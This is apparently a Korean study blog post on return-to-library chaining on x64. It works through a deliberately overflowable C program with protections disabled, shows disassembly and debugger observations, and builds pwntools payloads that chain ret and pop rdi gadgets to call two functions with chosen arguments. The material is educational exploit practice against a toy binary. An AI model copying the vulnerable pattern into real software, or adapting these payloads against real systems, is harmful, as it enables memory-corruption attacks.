RTL Chaning (x64)
1. 함수 호출 방법
1. 코드 확인
// Name : rtl_chaning.c
// Compile : gcc -mpreferred-stack-boundary=4 -fno-stack-protector -fno-pic -no-pie -o x64_rtl_chaning rtl_chaning.c
#include <stdio.h>
void func1(int a) {
printf("func1 val1: %d\n", a);
}
void func2(int b) {
printf("fucn2 val2: %d\n", b);
}
int main(){
char buf[100];
read(0, buf, 200);
printf("%s\n", buf);
return 0;
}
read 함수에서 buf 이상의 크기를 입력받아 BOF 가 발생한다.
BOF 를 발생시켜 RET 전까지 덮어씌우고 RET 에 func1 함수를 넣으면 func1 함수가 호출된다.
Dump of assembler code for function main:
0x00000000004011c2 <+0>: endbr64
0x00000000004011c6 <+4>: push rbp
0x00000000004011c7 <+5>: mov rbp,rsp
0x00000000004011ca <+8>: sub rsp,0x70
0x00000000004011ce <+12>: lea rax,[rbp-0x70]
0x00000000004011d2 <+16>: mov edx,0xc8
0x00000000004011d7 <+21>: mov rsi,rax
0x00000000004011da <+24>: mov edi,0x0
0x00000000004011df <+29>: mov eax,0x0
0x00000000004011e4 <+34>: call 0x401080 <read@plt>
0x00000000004011e9 <+39>: lea rax,[rbp-0x70]
0x00000000004011ed <+43>: mov rdi,rax
0x00000000004011f0 <+46>: call 0x401060 <puts@plt>
0x00000000004011f5 <+51>: mov eax,0x0
0x00000000004011fa <+56>: leave
0x00000000004011fb <+57>: ret
End of assembler dump.
main 함수의 어셈블리이다.
buf 는 0x70 (112)인 것을 알 수 있다.
buf 의 크기를 0x64 (100) 만큼 할당했지만 스택 정렬을 위해 0xc(12) 만큼 dummy 값이 들어갔다.
func1 의 주소는 0x401176 이다.
func2 의 주소는 0x40119c 이다.
2. 메모리 구조
RET 의 값을 func1 의 주소로 바꾸면 func1() 함수가 실행된다.
buf 와 SFP 의 크기인 0x78 만큼 dummy 값을 넣고
RET 를 func1 의 주소 0x401176 로 덮어씌우면 func1 을 호출할 수 있다.
3. func1 호출
from pwn import *
p = process('./x64_rtl_chaning')
func1 = 0x401176
func2 = 0x40119c
payload = b'A' * 0x78
payload += p64(func1)
### pause ###
pause()
p.send(payload)
p.interactive()
0x78 만큼 dummy 값을 보내고 func1 함수를 덮어씌우는 python 코드이다.
동적디버깅으로 확인해보자
값이 잘 들어간 것을 확인할 수 있다.
main 함수의 ret 에서 func1 로 잘 넘어가는 것을 볼 수 있다.
main 함수의 ret 에서 스택을 확인하면
RET 에 func1 의 주소 0x401176 이 잘 들어간 것을 볼 수 있다.
func1 을 계속 실행하다보면 printf 함수에서 오류가 발생한다.
rsp 가 16bytes 로 정렬되지 않아 오류가 발생한다.
ret 가젯을 넣어서 스택 정렬을 맞춰주면 잘 실행될 것이다.
ret 가젯의 주소는 0x40101a 이다.
가젯의 주소를 넣은 다음 func1 의 주소를 넣고 실행되는지 확인해보자
정상적으로 실행되는 것을 볼 수 있다.
이제 func1의 ret 까지 이동한 후 어떤 주소로 이동하는지 확인해보자
0x4011c2 의 값이 다음 주소로 들어가게 된ㄷ다.
0x4011c2 의 값은 main 의 시작 주소이다.
그럼 이 주소는 어디서 왔을까?
main 함수에서 ret 을 호출할 때 스택을 확인해보자
main 함수의 ret 에 ret 가젯 주소가 들어가고 그 다음 func1 의 주소가 들어갔다.
0x4011c2 는 func1 의 주소 다음 값이다.
호출한 함수 바로 다음값이 func1 의 ret 에서 수행되는 것이다.
func1 함수 다음 값이 다시 ret 가 수행되니 func1 주소값 다음 func2 의 주소값을 넣어보자
4. func2 호출
from pwn import *
p = process('./x64_rtl_chaning')
func1 = 0x401176
func2 = 0x40119c
ret = 0x40101a
payload = b'A' * 0x78
payload += p64(ret)
payload += p64(func1)
payload += p64(func2)
### pause ###
pause()
p.send(payload)
p.interactive()
func1 함수 다음 func2 함수의 주소도 보내도록 추가한 코드이다.
func2 함수가 잘 호출되는지 확인해보자
func1 에서 ret 를 실행하기 전의 상태이다.
스택을 확인하면 ret 에 func2 의 주소 (0x40119c) 가 잘 들어간 것을 확인할 수 있다.
func2 함수로 잘 넘어온 것을 알 수 있다.
func2 를 실행하다보면 printf 함수에서 또 오류가 발생한다.
rsp 가 16bytes로 정렬이 되지 않아서 생기는 문제이다.
위의 func1 을 호출했던 것과 마찬가지로 ret 가젯을 넣고 그 다음 func2 를 호출해보자
ret 가젯을 호출하고 그 다음 func2 를 호출하는 것을 볼 수 있다.
이제 func2 의 ret 를 실행하기 전의 스택을 확인해보자
func2 의 ret 에는 0x7fffffffe148 가 들어있는 것을 볼 수 있다.
0x7fffffffe148 는 어디서 온 값일까?
main 함수에서 ret 를 호출하기 전의 스택을 다시 확인해보자
func2 다음 값인 0x7fffffffe148 이 func2 의 ret 가 된 것을 알 수 있다.
2. 함수 인자값 확인
1. func1 인자
코드를 실행해보면
func1, func2 가 모두 실행된 것을 확인할 수 있다.
func1 에서 val1 값을 출력하고 있는데 -134579600 의 값은 어디서 가져온걸까?
func1 에서 printf 에 break 를 걸고 스택을 확인해보자
스택에는 0xf7fa7a700040101a 값이 들어있다.
Dump of assembler code for function func1:
0x0000000000401176 <+0>: endbr64
0x000000000040117a <+4>: push rbp
0x000000000040117b <+5>: mov rbp,rsp
0x000000000040117e <+8>: sub rsp,0x10
0x0000000000401182 <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000401185 <+15>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401188 <+18>: mov esi,eax
0x000000000040118a <+20>: mov edi,0x402004
0x000000000040118f <+25>: mov eax,0x0
=> 0x0000000000401194 <+30>: call 0x401070 <printf@plt>
0x0000000000401199 <+35>: nop
0x000000000040119a <+36>: leave
0x000000000040119b <+37>: ret
End of assembler dump.
func1 의 어셈블리이다.
0x402004 와 esi 의 값을 확인해보자
esi 에 0xf7fa7a0 십진수로 -134579600 이 들어있는 걸 확인할 수 있다.
64bit 환경에서는 함수의 인자를 rdi, rsi, rdx, rcx, r8, r9 레지스터의 순으로 넘겨준다.
스택을 보면 0xf7fa7a700040101a 값이 들어있다.
위의 func1 의 어셈블리를 보면 함수의 인자를 edi, esi 로 넘기고 있기 때문에
상위 4bytes 0xf7fa7a70 의 값이 함수의 인자로 전달되는 것을 알 수 있다.
그 다음 하위 4bytes 0040101a 는 ret 가젯의 주소이다.
스택을 한번 그려보자
0xf7fa7a700040101a 의 상위 4bytes 가 먼저 스택에 들어가고 그 다음 ret 가젯의 주소가 들어가기 때문에
스택은 SFP, ret 가젯, func1 인자, func1 의 순으로 들어가게 된다.
ret 가젯 말고 pop rdi ret 가젯을 이용해서 func1 에 인자를 전달해보자
pop rdi 가젯을 라이브러리에서 가져왔다.
0x2a3e5 는 라이브러리 주소와의 offset 이므로 라이브러리 주소 0x7ffff7d8b000 와 더해준다.
0x7ffff7db53e5 가 pop rdi 가젯의 주소가 된다.
from pwn import *
p = process('./x64_rtl_chaning')
func1 = 0x401176
func2 = 0x40119c
ret = 0x40101a
pop_rdi = 0x7ffff7db53e5
payload = b'A' * 0x78
payload += p64(ret)
payload += p64(pop_rdi)
payload += b'B' * 8
payload += p64(func1)
payload += p64(ret)
payload += p64(func2)
### pause ###
pause()
p.send(payload)
p.interactive()
python 으로 func1 의 인자까지 넘기도록 코드를 짰다
스택 정렬을 맞춰주기 위해 ret 가젯 다음 pop_rdi 가젯을 추가했다.
인자가 잘 넘어가는지 확인해보자
1111638594 (0x42424242) 가 출력되어 인자가 잘 넘어가는 것을 확인할 수 있다.
2. func2 인자
func1 에 인자를 넘긴것과 마찬가지로 func2 에도 인자를 넣어보자
from pwn import *
p = process('./x64_rtl_chaning')
func1 = 0x401176
func2 = 0x40119c
ret = 0x40101a
pop_rdi = 0x7ffff7db53e5
payload = b'A' * 0x78
payload += p64(ret)
payload += p64(pop_rdi)
payload += b'B' * 8
payload += p64(func1)
payload += p64(ret)
payload += b'B' * 8
payload += p64(func2)
### pause ###
pause()
p.send(payload)
p.interactive()
스택 상황을 그려보자
스택 구조는 SFP + 가젯 + 함수의 인자 + 함수의 주소 이다.
main 함수의 ret 에 break 를 걸고 스택을 확인해보자
- ret 가젯
- pop rdi 가젯
- func1 인자
- func1 주소
- ret 가젯
- pop rdi 가젯
- func2 인자
- func2 주소
순서로 값이 잘 들어간 것을 확인할 수 있다.
계속 실행해보자
func1, func2 함수의 인자 둘 다 1111638594 (0x42424242) 로 잘 들어갔다.
3. 정리
1. x64
- 64bit 환경에서는 함수의 인자를 rdi, rsi, rdx, rcx, r8, r9 레지스터의 순으로 전달한다.
- 스택 순서는 가젯 + 함수의 인자 + 함수의 주소 순으로 해야한다.
- ret 로 호출한 함수는 rsp 가 16bytes 정렬이 되지 않아 Segmentation fault 에러가 발생할 수 있다.
→ 아무의미 없는 ret 가젯을 추가하여 정렬을 맞춰주면 된다. - 다음 함수를 호출하고 싶으면 똑같이 가젯 + 함수의 인자 + 함수의 주소 를 스택에 넣으면 된다.
2. x86
- RET 에 원하는 함수를 넣는다
- 스택 순서는 함수의 주소 + dummy + 함수의 인자 이다
→ dummy 에 가젯을 넣으면 함수를 여러개 호출 할 수 있다. - 함수의 인자는 ret+0x8 의 위치에 넣어준다.
Reference
https://lactea.kr/entry/bof-RTL-Chaining-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95
'Hacking > Pwnable' 카테고리의 다른 글
ROP (x64) (0) | 2024.08.25 |
---|---|
ROP (x86) (0) | 2024.08.16 |
RTL Chaning (x86) (0) | 2024.07.25 |
RTL (Return To Library) (0) | 2024.07.17 |
RELRO (0) | 2024.07.15 |